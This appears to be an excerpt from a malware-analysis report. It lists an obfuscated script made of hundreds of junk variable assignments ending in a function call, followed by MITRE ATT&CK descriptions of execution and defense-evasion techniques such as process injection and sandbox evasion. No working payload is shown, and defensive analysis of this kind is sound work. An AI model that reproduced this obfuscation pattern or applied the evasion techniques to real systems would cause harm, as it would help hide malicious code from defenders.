293	fywgxnnxq = "b";
294	fywgxnnxq = "k";
295	fywgxnnxq = "c";
296	fywgxnnxq = "C";
297	fywgxnnxq = "k";
298	fywgxnnxq = "O";
299	fywgxnnxq = "O";
300	fywgxnnxq = "r";
301	fywgxnnxq = "Q";
302	fywgxnnxq = "y";
303	fywgxnnxq = "B";
304	fywgxnnxq = "B";
305	fywgxnnxq = "v";
306	fywgxnnxq = "h";
307	fywgxnnxq = "F";
308	fywgxnnxq = "b";
309	fywgxnnxq = "n";
310	fywgxnnxq = "X";
311	fywgxnnxq = "p";
312	fywgxnnxq = "R";
313	fywgxnnxq = "w";
314	fywgxnnxq = "T";
315	fywgxnnxq = "p";
316	fywgxnnxq = "d";
317	fywgxnnxq = "H";
318	fywgxnnxq = "u";
319	lolzq = "b";
320	lolzq = "c";
321	lolzq = "d";
322	lolzq = "Y";
323	lolzq = "K";
324	lolzq = "U";
325	lolzq = "A";
326	lolzq = "D";
327	lolzq = "s";
328	lolzq = "I";
329	lolzq = "F";
330	lolzq = "k";
331	lolzq = "l";
332	lolzq = "x";
333	lolzq = "v";
334	lolzq = "s";
335	lolzq = "I";
336	lolzq = "X";
337	lolzq = "x";
338	lolzq = "R";
339	lolzq = "m";
340	lolzq = "a";
341	lolzq = "z";
342	lolzq = "T";
343	lolzq = "b";
344	lolzq = "w";
345	lolzq = "F";
346	lolzq = "F";
347	lolzq = "b";
348	lolzq = "f";
349	lolzq = "F";
350	lolzq = "k";
351	lolzq = "Z";
352	lolzq = "K";
353	lolzq = "g";
354	lolzq = "c";
355	lolzq = "h";
356	lolzq = "Y";
357	lolzq = "O";
358	lolzq = "J";
359	lolzq = "M";
360	lolzq = "I";
361	lolzq = "k";
362	lolzq = "k";
363	fcbqqciel = "q";
364	fcbqqciel = "Q";
365	fcbqqciel = "J";
366	fcbqqciel = "V";
367	fcbqqciel = "y";
368	fcbqqciel = "O";
369	fcbqqciel = "L";
370	fcbqqciel = "P";
371	fcbqqciel = "T";
372	fcbqqciel = "K";
373	fcbqqciel = "u";
374	fcbqqciel = "j";
375	fcbqqciel = "p";
376	fcbqqciel = "O";
377	fcbqqciel = "F";
378	fcbqqciel = "P";
379	fcbqqciel = "D";
380	fcbqqciel = "D";
381	fcbqqciel = "X";
382	fcbqqciel = "p";
383	fcbqqciel = "m";
384	fcbqqciel = "v";
385	fcbqqciel = "q";
386	jkdlzc = "V";
387	jkdlzc = "f";
388	jkdlzc = "r";
389	jkdlzc = "D";
390	jkdlzc = "P";
391	jkdlzc = "v";
392	jkdlzc = "U";
393	jkdlzc = "A";
394	jkdlzc = "U";
395	jkdlzc = "v";
396	jkdlzc = "O";
397	jkdlzc = "E";
398	jkdlzc = "s";
399	jkdlzc = "S";
400	jkdlzc = "Y";
401	jkdlzc = "C";
402	jkdlzc = "C";
403	jkdlzc = "W";
404	jkdlzc = "s";
405	jkdlzc = "A";
406	jkdlzc = "a";
407	jkdlzc = "h";
408	jkdlzc = "y";
409	jkdlzc = "d";
410	jkdlzc = "x";
411	jkdlzc = "w";
412	jkdlzc = "C";
413	jkdlzc = "I";
414	jkdlzc = "W";
415	jkdlzc = "L";
416	jkdlzc = "g";
417	jkdlzc = "p";
418	jkdlzc = "K";
419	jkdlzc = "F";
420	nejntx = "r";
421	nejntx = "X";
422	nejntx = "P";
423	nejntx = "a";
424	nejntx = "Q";
425	wpoxjqrva = "u";
426	wpoxjqrva = "h";
427	wpoxjqrva = "Z";
428	wpoxjqrva = "H";
429	wpoxjqrva = "B";
430	wpoxjqrva = "z";
431	wpoxjqrva = "p";
432	wpoxjqrva = "i";
433	wpoxjqrva = "U";
434	wpoxjqrva = "Q";
435	wpoxjqrva = "t";
436	wpoxjqrva = "h";
437	wpoxjqrva = "z";
438	wpoxjqrva = "J";
439	wpoxjqrva = "Q";
440	wpoxjqrva = "i";
441	wpoxjqrva = "f";
442	wpoxjqrva = "f";
443	wpoxjqrva = "l";
444	wpoxjqrva = "d";
445	wpoxjqrva = "m";
446	wpoxjqrva = "u";
447	wpoxjqrva = "z";
448	wpoxjqrva = "t";
449	wpoxjqrva = "m";
450	wpoxjqrva = "d";
451	wpoxjqrva = "J";
452	wpoxjqrva = "Y";
453	wpoxjqrva = "g";
454	wpoxjqrva = "m";
455	wpoxjqrva = "\\";
456	lxrxh = "N";
457	lxrxh = "d";
458	lxrxh = "y";
459	lxrxh = "O";
460	qotqzm = "J";
461	qotqzm = "C";
462	qotqzm = "A";
463	qotqzm = "V";
464	qotqzm = "d";
465	qotqzm = "t";
466	qotqzm = "f";
467	qotqzm = "Z";
468	qotqzm = "t";
469	qotqzm = "D";
470	qotqzm = "u";
471	qotqzm = "Y";
472	qotqzm = "b";
473	qotqzm = "G";
474	qotqzm = "j";
475	qotqzm = "W";
476	qotqzm = "L";
477	qotqzm = "p";
478	qotqzm = "x";
479	qotqzm = "i";
480	qotqzm = "q";
481	qotqzm = "T";
482	qotqzm = "A";
483	qotqzm = "2";
484	qlfkkuk = "B";
485	qlfkkuk = "w";
486	qlfkkuk = "9";
487	fprhqpgu = "d";
488	fprhqpgu = "u";
489	fprhqpgu = "h";
490	fprhqpgu = "N";
491	fprhqpgu = "I";
492	fprhqpgu = "e";
493	fprhqpgu = "Q";
494	fprhqpgu = "K";
495	fprhqpgu = "X";
496	fprhqpgu = "@";
497	jnspvq = "q";
498	jnspvq = "A";
499	jnspvq = "S";
500	jnspvq = "g";
501	jnspvq = "D";
502	jnspvq = "Z";
503	jnspvq = "F";
504	jnspvq = "G";
505	jnspvq = "G";
506	jnspvq = "F";
507	jnspvq = "g";
508	jnspvq = "k";
509	jnspvq = "o";
510	jnspvq = "L";
511	jnspvq = "F";
512	jnspvq = "T";
513	jnspvq = "c";
514	jnspvq = "g";
515	jnspvq = "k";
516	jnspvq = "c";
517	jnspvq = "z";
518	jnspvq = "j";
519	jnspvq = "d";
520	jnspvq = "n";
521	jnspvq = "h";
522	jnspvq = "e";
523	jnspvq = "T";
524	jnspvq = "d";
525	jnspvq = "q";
526	jnspvq = "I";
527	jnspvq = "c";
528	jnspvq = "W";
529	jnspvq = "w";
530	jnspvq = "B";
531	jnspvq = "z";
532	jnspvq = "A";
533	jnspvq = "y";
534	jnspvq = "G";
535	jnspvq = "z";
536	jnspvq = "N";
537	jnspvq = "z";
538	jnspvq = "N";
539	xhlrwjcf = "A";
540	xhlrwjcf = "Y";
541	xhlrwjcf = "X";
542	xhlrwjcf = "H";
543	xhlrwjcf = "u";
544	xhlrwjcf = "o";
545	xhlrwjcf = "b";
546	xhlrwjcf = "K";
547	xhlrwjcf = "f";
548	xhlrwjcf = "m";
549	xhlrwjcf = "s";
550	xhlrwjcf = "E";
551	aueaktklj = "E";
552	aueaktklj = "N";
553	aueaktklj = "o";
554	aueaktklj = "P";
555	aueaktklj = "Z";
556	aueaktklj = "d";
557	aueaktklj = "Q";
558	aueaktklj = "Y";
559	aueaktklj = "R";
560	aueaktklj = "y";
561	aueaktklj = "J";
562	aueaktklj = "b";
563	aueaktklj = "Q";
564	aueaktklj = "R";
565	aueaktklj = "e";
566	aueaktklj = "d";
567	aueaktklj = "x";
568	aueaktklj = "s";
569	aueaktklj = "f";
570	aueaktklj = "F";
571	aueaktklj = "p";
572	aueaktklj = "Y";
573	aueaktklj = "r";
574	aueaktklj = "O";
575	aueaktklj = "x";
576	aueaktklj = "N";
577	aueaktklj = "V";
578	aueaktklj = "E";
579	aueaktklj = "p";
580	aueaktklj = "W";
581	aueaktklj = "I";
582	aueaktklj = "w";
583	aueaktklj = "V";
584	aueaktklj = "F";
585	aueaktklj = "c";
586	gbbzphas = "v";
587	mjcvueap = "g";
588	mjcvueap = "w";
589	mjcvueap = "x";
590	mjcvueap = "l";
591	mjcvueap = "x";
592	mjcvueap = "E";
593	mjcvueap = "C";
594	mjcvueap = "N";
595	mjcvueap = "t";
596	mjcvueap = "F";
597	mjcvueap = "Q";
598	mjcvueap = "S";
599	gkrdl = "m";
600	gkrdl = "W";
601	gkrdl = "k";
602	gkrdl = "N";
603	gkrdl = "S";
604	gkrdl = "g";
605	gkrdl = "Q";
606	gkrdl = "s";
607	gkrdl = "b";
608	gkrdl = "V";
609	gkrdl = "F";
610	gkrdl = "a";
611	gkrdl = "A";
612	gkrdl = "k";
613	gkrdl = "t";
614	gkrdl = "k";
615	gkrdl = "s";
616	gkrdl = "O";
617	gkrdl = "b";
618	gkrdl = " ";
619	gohiendyq = "v";
620	gohiendyq = "Y";
621	gohiendyq = "Z";
622	gohiendyq = "G";
623	gohiendyq = "Z";
624	gohiendyq = "v";
625	gohiendyq = "r";
626	gohiendyq = "v";
627	gohiendyq = "h";
628	gohiendyq = "N";
629	gohiendyq = "a";
630	gohiendyq = "Q";
631	gohiendyq = "g";
632	occekl = "A";
633	occekl = "r";
634	occekl = "c";
635	occekl = "s";
636	occekl = "l";
637	occekl = "y";
638	occekl = "a";
639	occekl = "V";
640	occekl = "I";
641	occekl = "B";
642	occekl = "g";
643	occekl = "J";
644	occekl = "W";
645	occekl = "v";
646	occekl = "B";
647	occekl = "I";
648	occekl = "G";
649	occekl = "h";
650	occekl = "E";
651	occekl = "P";
652	occekl = "K";
653	occekl = "f";
654	occekl = "n";
655	occekl = "t";
656	occekl = "e";
657	occekl = "p";
658	occekl = "I";
659	kjcfjixab = "J";
660	kjcfjixab = "n";
661	kjcfjixab = "K";
662	kjcfjixab = "F";
663	kjcfjixab = "B";
664	kjcfjixab = "m";
665	kjcfjixab = "F";
666	kjcfjixab = "i";
667	kjcfjixab = "a";
668	kjcfjixab = "N";
669	kjcfjixab = "E";
670	kjcfjixab = "I";
671	kjcfjixab = "e";
672	kjcfjixab = "a";
673	kjcfjixab = "I";
674	kjcfjixab = "H";
675	kjcfjixab = "p";
676	kjcfjixab = "F";
677	kjcfjixab = "A";
678	kjcfjixab = "T";
679	kjcfjixab = "c";
680	kjcfjixab = "B";
681	kjcfjixab = "P";
682	kjcfjixab = "I";
683	kjcfjixab = "h";
684	kjcfjixab = "b";
685	kjcfjixab = "Z";
686	kjcfjixab = "d";
687	kjcfjixab = "r";
688	kjcfjixab = "U";
689	kjcfjixab = "K";
690	kjcfjixab = "C";
691	kjcfjixab = "b";
692	kjcfjixab = "J";
693	kjcfjixab = "d";
694	kjcfjixab = "v";
695	kjcfjixab = "N";
696	kjcfjixab = "c";
697	kjcfjixab = "A";
698	kjcfjixab = "A";
699	kjcfjixab = "w";
700	kjcfjixab = "1";
701	qtgpjq = "M";
702	qtgpjq = "V";
703	qtgpjq = "Q";
704	qtgpjq = "8";
705	hsodyr = "b";
706	hsodyr = "P";
707	hsodyr = "G";
708	hsodyr = "j";
709	hsodyr = "F";
710	hsodyr = "R";
711	sjmsjawnb = "f";
712	sjmsjawnb = "V";
713	sjmsjawnb = "h";
714	sjmsjawnb = "r";
715	sjmsjawnb = "D";
716	sjmsjawnb = "w";
717	sjmsjawnb = "r";
718	sjmsjawnb = "h";
719	sjmsjawnb = "z";
720	sjmsjawnb = "n";
721	sjmsjawnb = "W";
722	sjmsjawnb = "Z";
723	sjmsjawnb = "y";
724	sjmsjawnb = "s";
725	sjmsjawnb = "f";
726	sjmsjawnb = "n";
727	sjmsjawnb = "D";
728	sjmsjawnb = "p";
729	wovodnosw = "M";
730	wovodnosw = "d";
731	wovodnosw = "t";
732	wovodnosw = "i";
733	wovodnosw = "y";
734	wovodnosw = "O";
735	wovodnosw = "W";
736	wovodnosw = "p";
737	wovodnosw = "f";
738	wovodnosw = "M";
739	wovodnosw = "J";
740	wovodnosw = "g";
741	wovodnosw = "M";
742	wovodnosw = "B";
743	wovodnosw = "Q";
744	wovodnosw = "S";
745	wovodnosw = "y";
746	wovodnosw = "X";
747	wovodnosw = "h";
748	wovodnosw = "B";
749	wovodnosw = "u";
750	wovodnosw = "D";
751	wovodnosw = "u";
752	wovodnosw = "m";
753	wovodnosw = "q";
754	wovodnosw = "F";
755	wovodnosw = "J";
756	wovodnosw = "L";
757	wovodnosw = "a";
758	koavhqr = "d";
759	koavhqr = "V";
760	koavhqr = "f";
761	koavhqr = "n";
762	koavhqr = "S";
763	koavhqr = "R";
764	koavhqr = "G";
765	koavhqr = "f";
766	koavhqr = "w";
767	bpnsiy = "b";
768	bpnsiy = "W";
769	bpnsiy = "Z";
770	bpnsiy = "R";
771	bpnsiy = "g";
772	bpnsiy = "d";
773	bpnsiy = "g";
774	bpnsiy = "k";
775	bpnsiy = "r";
776	bpnsiy = "L";
777	bpnsiy = "W";
778	bpnsiy = "W";
779	bpnsiy = "U";
780	bpnsiy = "r";
781	bpnsiy = "h";
782	bpnsiy = "I";
783	bpnsiy = "s";
784	rnzwtu = "a";
785	rnzwtu = "R";
786	rnzwtu = "Z";
787	rnzwtu = "M";
788	rnzwtu = "W";
789	rnzwtu = "f";
790	rnzwtu = "0";
791	robocjm = "r";
792	robocjm = "c";
793	robocjm = "h";
794	robocjm = "J";
795	robocjm = "Q";
796	robocjm = "b";
797	robocjm = "K";
798	robocjm = "M";
799	robocjm = "L";
800	robocjm = "d";
801	robocjm = "Y";
802	robocjm = "U";
803	robocjm = "n";
804	robocjm = "x";
805	robocjm = "n";
806	robocjm = "b";
807	robocjm = "x";
808	robocjm = "X";
809	robocjm = "r";
810	robocjm = "k";
811	robocjm = "P";
812	robocjm = "F";
813	robocjm = "J";
814	robocjm = "U";
815	robocjm = "P";
816	robocjm = "K";
817	robocjm = "e";
818	robocjm = "c";
819	robocjm = "R";
820	robocjm = "N";
821	robocjm = "q";
822	robocjm = "I";
823	robocjm = "l";
824	robocjm = "x";
825	robocjm = "s";
826	robocjm = "M";
827	robocjm = "V";
828	robocjm = "e";
829	robocjm = "X";
830	robocjm = "i";
831	robocjm = "&";
832	chqwdjps = "U";
833	chqwdjps = "l";
834	chqwdjps = "d";
835	chqwdjps = "l";
836	chqwdjps = "A";
837	chqwdjps = "i";
838	chqwdjps = "r";
839	chqwdjps = "o";
840	chqwdjps = "I";
841	chqwdjps = "w";
842	chqwdjps = "s";
843	chqwdjps = "m";
844	chqwdjps = "O";
845	chqwdjps = "y";
846	chqwdjps = "C";
847	chqwdjps = "j";
848	chqwdjps = "s";
849	chqwdjps = "d";
850	chqwdjps = "s";
851	chqwdjps = "C";
852	chqwdjps = "M";
853	chqwdjps = "A";
854	chqwdjps = "O";
855	chqwdjps = "U";
856	chqwdjps = "J";
857	chqwdjps = "g";
858	chqwdjps = "N";
859	chqwdjps = "m";
860	chqwdjps = "y";
861	chqwdjps = "A";
862	chqwdjps = "j";
863	chqwdjps = "K";
864	chqwdjps = "k";
865	chqwdjps = "A";
866	chqwdjps = "S";
867	chqwdjps = "M";
868	chqwdjps = "W";
869	chqwdjps = "3";
870	yczisbeq = "c";
871	yczisbeq = "R";
872	yczisbeq = "k";
873	yczisbeq = "i";
874	htcilhhn = "a";
875	htcilhhn = "D";
876	htcilhhn = "h";
877	htcilhhn = "J";
878	htcilhhn = "K";
879	htcilhhn = "y";
880	htcilhhn = "C";
881	htcilhhn = "m";
882	htcilhhn = "Z";
883	htcilhhn = "W";
884	htcilhhn = "D";
885	htcilhhn = "Y";
886	htcilhhn = "T";
887	htcilhhn = "i";
888	htcilhhn = "T";
889	htcilhhn = "y";
890	htcilhhn = "s";
891	htcilhhn = "z";
892	htcilhhn = "b";
893	htcilhhn = "o";
894	htcilhhn = "U";
895	htcilhhn = "F";
896	htcilhhn = "J";
897	htcilhhn = "B";
898	htcilhhn = "z";
899	htcilhhn = "F";
900	htcilhhn = "n";
901	htcilhhn = "N";
902	htcilhhn = "U";
903	htcilhhn = "m";
904	dframdcu = "z";
905	dframdcu = "A";
906	dframdcu = "d";
907	oojdy = "b";
908	oojdy = "k";
909	oojdy = "H";
910	oojdy = "N";
911	oojdy = "t";
912	oojdy = "c";
913	oojdy = "u";
914	oojdy = "r";
915	oojdy = "t";
916	oojdy = "k";
917	oojdy = "K";
918	oojdy = "W";
919	oojdy = "q";
920	oojdy = "U";
921	oojdy = "f";
922	oojdy = "f";
923	oojdy = "u";
924	oojdy = "k";
925	oojdy = "G";
926	oojdy = "N";
927	oojdy = "q";
928	oojdy = "u";
929	oojdy = "x";
930	oojdy = "t";
931	oojdy = "d";
932	oojdy = "i";
933	oojdy = "k";
934	oojdy = "n";
935	oojdy = "c";
936	oojdy = "d";
937	oojdy = "s";
938	oojdy = "B";
939	oojdy = "X";
940	oojdy = "W";
941	vazzgrd = "A";
942	vazzgrd = "N";
943	vazzgrd = "y";
944	vazzgrd = "X";
945	vazzgrd = "J";
946	vazzgrd = "X";
947	vazzgrd = "R";
948	vazzgrd = "n";
949	vazzgrd = "U";
950	vazzgrd = "Y";
951	vazzgrd = "v";
952	vazzgrd = "z";
953	vazzgrd = "Z";
954	vazzgrd = "A";
955	vazzgrd = "t";
956	wdarjl = "i";
957	wdarjl = "e";
958	gcrfyawuz = "I";
959	gcrfyawuz = "V";
960	gcrfyawuz = "h";
961	rvwynsu = "s";
962	rvwynsu = "h";
963	rvwynsu = "R";
964	rvwynsu = "b";
965	rvwynsu = "S";
966	rvwynsu = "T";
967	rvwynsu = "q";
968	rvwynsu = "X";
969	rvwynsu = "c";
970	rvwynsu = "p";
971	rvwynsu = "V";
972	rvwynsu = "z";
973	rvwynsu = "w";
974	rvwynsu = "z";
975	rvwynsu = "N";
976	rvwynsu = "p";
977	rvwynsu = "S";
978	rvwynsu = "Q";
979	rvwynsu = "T";
980	rvwynsu = "m";
981	rvwynsu = "H";
982	rvwynsu = "M";
983	rvwynsu = "k";
984	rvwynsu = "I";
985	rvwynsu = "j";
986	rvwynsu = "s";
987	rvwynsu = "r";
988	rvwynsu = "W";
989	rvwynsu = "M";
990	rvwynsu = "C";
991	rvwynsu = "i";
992	rvwynsu = "I";
993	rvwynsu = "S";
994	rvwynsu = "o";
995	lujubcza = "q";
996	lujubcza = "U";
997	lujubcza = "B";
998	lujubcza = "R";
999	lujubcza = "g";
1000	lujubcza = "g";
1001	lujubcza = "y";
1002	lujubcza = "s";
1003	lujubcza = "g";
1004	lujubcza = "e";
1005	lujubcza = "b";
1006	lujubcza = "D";
1007	lujubcza = "f";
1008	lujubcza = "K";
1009	lujubcza = "o";
1010	lujubcza = "S";
1011	lujubcza = "B";
1012	lujubcza = "R";
1013	lujubcza = "w";
1014	lujubcza = "b";
1015	lujubcza = "j";
1016	ardtttv = "z";
1017	ardtttv = "y";
1018	ardtttv = "%";
1019	hsgpjrprh = "z";
1020	hsgpjrprh = "Z";
1021	hsgpjrprh = "G";
1022	hsgpjrprh = "G";
1023	hsgpjrprh = "H";
1024	hsgpjrprh = "I";
1025	hsgpjrprh = "L";
1026	hsgpjrprh = "v";
1027	hsgpjrprh = "q";
1028	hsgpjrprh = "W";
1029	hsgpjrprh = "l";
1030	hsgpjrprh = "l";
1031	hsgpjrprh = "K";
1032	hsgpjrprh = "r";
1033	hsgpjrprh = "R";
1034	hsgpjrprh = "z";
1035	hsgpjrprh = "s";
1036	hsgpjrprh = "d";
1037	hsgpjrprh = "c";
1038	hsgpjrprh = "z";
1039	hsgpjrprh = "I";
1040	hsgpjrprh = "a";
1041	hsgpjrprh = "s";
1042	hsgpjrprh = "V";
1043	hsgpjrprh = "J";
1044	hsgpjrprh = "z";
1045	hsgpjrprh = "w";
1046	hsgpjrprh = "s";
1047	hsgpjrprh = "f";
1048	hsgpjrprh = "P";
1049	hsgpjrprh = "f";
1050	hsgpjrprh = "_";
1051	nbnskmpdy = "C";
1052	nbnskmpdy = "Y";
1053	nbnskmpdy = "B";
1054	nbnskmpdy = "x";
1055	nbnskmpdy = "J";
1056	nbnskmpdy = "N";
1057	nbnskmpdy = "J";
1058	nbnskmpdy = "D";
1059	nbnskmpdy = "s";
1060	nbnskmpdy = "b";
1061	nbnskmpdy = "W";
1062	nbnskmpdy = "u";
1063	nbnskmpdy = "i";
1064	nbnskmpdy = "w";
1065	nbnskmpdy = "c";
1066	nbnskmpdy = "L";
1067	jiahb = "a";
1068	jiahb = "U";
1069	jiahb = "y";
1070	jiahb = "u";
1071	jiahb = "J";
1072	jiahb = "s";
1073	jiahb = "t";
1074	jiahb = "G";
1075	jiahb = "U";
1076	gqasfb = "v";
1077	gqasfb = "k";
1078	gqasfb = "7";
1079	imxpbe = "u";
1080	imxpbe = "X";
1081	imxpbe = "N";
1082	imxpbe = "Y";
1083	imxpbe = "O";
1084	imxpbe = "v";
1085	imxpbe = "z";
1086	imxpbe = "g";
1087	imxpbe = "T";
1088	imxpbe = "r";
1089	imxpbe = "x";
1090	imxpbe = "k";
1091	imxpbe = "h";
1092	imxpbe = "j";
1093	imxpbe = "t";
1094	imxpbe = "Q";
1095	imxpbe = "M";
1096	imxpbe = "o";
1097	imxpbe = "B";
1098	imxpbe = "L";
1099	imxpbe = "Z";
1100	imxpbe = "S";
1101	imxpbe = "s";
1102	imxpbe = "i";
1103	imxpbe = "k";
1104	imxpbe = "X";
1105	imxpbe = "A";
1106	imxpbe = "l";
1107	imxpbe = "Z";
1108	imxpbe = "/";
1109	njxtbg = "J";
1110	njxtbg = "C";
1111	njxtbg = "a";
1112	njxtbg = "b";
1113	njxtbg = "P";
1114	njxtbg = "u";
1115	njxtbg = "j";
1116	njxtbg = "Q";
1117	njxtbg = "b";
1118	njxtbg = "B";
1119	njxtbg = "V";
1120	njxtbg = "l";
1121	jodwb = "R";
1122	jodwb = "z";
1123	jodwb = "Z";
1124	jodwb = "b";
1125	jodwb = "l";
1126	jodwb = "T";
1127	jodwb = "y";
1128	jodwb = "N";
1129	jodwb = "t";
1130	jodwb = "o";
1131	jodwb = "b";
1132	jodwb = "R";
1133	jodwb = "l";
1134	jodwb = "j";
1135	jodwb = "i";
1136	jodwb = "b";
1137	jodwb = "k";
1138	jodwb = "D";
1139	jodwb = "v";
1140	jodwb = "b";
1141	jodwb = "B";
1142	jodwb = "k";
1143	jodwb = "K";
1144	jodwb = "n";
1145	jodwb = "A";
1146	jodwb = "H";
1147	jodwb = "A";
1148	jodwb = "D";
1149	jodwb = "t";
1150	jodwb = "d";
1151	jodwb = "g";
1152	jodwb = "O";
1153	jodwb = "P";
1154	jodwb = "o";
1155	jodwb = "A";
1156	jodwb = "A";
1157	jodwb = "Q";
1158	jodwb = "a";
1159	jodwb = "s";
1160	jodwb = "q";
1161	jodwb = "j";
1162	jodwb = "\"";
1163	kdskeom = "m";
1164	kdskeom = "f";
1165	kdskeom = "E";
1166	kdskeom = "M";
1167	kdskeom = "Y";
1168	kdskeom = "F";
1169	kdskeom = "m";
1170	kdskeom = "B";
1171	kdskeom = "S";
1172	kdskeom = "L";
1173	kdskeom = "A";
1174	kdskeom = "j";
1175	kdskeom = "t";
1176	kdskeom = "u";
1177	kdskeom = "S";
1178	kdskeom = "u";
1179	kdskeom = "I";
1180	kdskeom = "k";
1181	kdskeom = "D";
1182	kdskeom = "T";
1183	kdskeom = "y";
1184	kdskeom = "H";
1185	kdskeom = "f";
1186	kdskeom = "y";
1187	kdskeom = "B";
1188	kdskeom = "C";
1189	kgfxbtk = "g";
1190	kgfxbtk = "Q";
1191	kgfxbtk = "n";
1192	uugcu = "g";
1193	uugcu = "f";
1194	uugcu = "u";
1195	uugcu = "T";
1196	uugcu = "k";
1197	uugcu = "z";
1198	uugcu = "g";
1199	uugcu = "x";
1200	uugcu = "F";
1201	uugcu = "v";
1202	uugcu = "L";
1203	uugcu = "K";
1204	uugcu = "d";
1205	uugcu = "e";
1206	uugcu = "M";
1207	uugcu = "a";
1208	uugcu = "h";
1209	uugcu = "K";
1210	uugcu = "o";
1211	uugcu = "m";
1212	uugcu = "V";
1213	uugcu = "h";
1214	uugcu = "J";
1215	uugcu = "b";
1216	uugcu = "i";
1217	uugcu = "q";
1218	uugcu = "y";
1219	uugcu = "A";
1220	uugcu = "Q";
1221	uugcu = "h";
1222	uugcu = "R";
1223	uugcu = "N";
1224	uugcu = "N";
1225	uugcu = "d";
1226	uugcu = "G";
1227	uugcu = "V";
1228	uugcu = "y";
1229	uugcu = "U";
1230	uugcu = "N";
1231	uugcu = "G";
1232	uugcu = "-";
1233	iqiyiklz = "x";
1234	iqiyiklz = "m";
1235	iqiyiklz = "a";
1236	iqiyiklz = "r";
1237	iqiyiklz = "G";
1238	iqiyiklz = "e";
1239	iqiyiklz = "T";
1240	iqiyiklz = "C";
1241	iqiyiklz = "F";
1242	iqiyiklz = "N";
1243	iqiyiklz = "t";
1244	iqiyiklz = "e";
1245	iqiyiklz = "h";
1246	iqiyiklz = "Y";
1247	iqiyiklz = "M";
1248	iqiyiklz = "L";
1249	iqiyiklz = "Y";
1250	iqiyiklz = "I";
1251	iqiyiklz = "B";
1252	iqiyiklz = "M";
1253	iqiyiklz = "W";
1254	iqiyiklz = "c";
1255	iqiyiklz = "B";
1256	iqiyiklz = ".";
1257	vdjisrph = "f";
1258	exisyrmgx = "J";
1259	exisyrmgx = "r";
1260	exisyrmgx = "q";
1261	exisyrmgx = "s";
1262	exisyrmgx = "z";
1263	exisyrmgx = "S";
1264	exisyrmgx = "d";
1265	exisyrmgx = "Y";
1266	exisyrmgx = "v";
1267	exisyrmgx = "h";
1268	exisyrmgx = "a";
1269	exisyrmgx = "f";
1270	exisyrmgx = "a";
1271	exisyrmgx = "U";
1272	exisyrmgx = "M";
1273	exisyrmgx = "y";
1274	exisyrmgx = "H";
1275	lhbevjsz ( );	lhbevjsz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
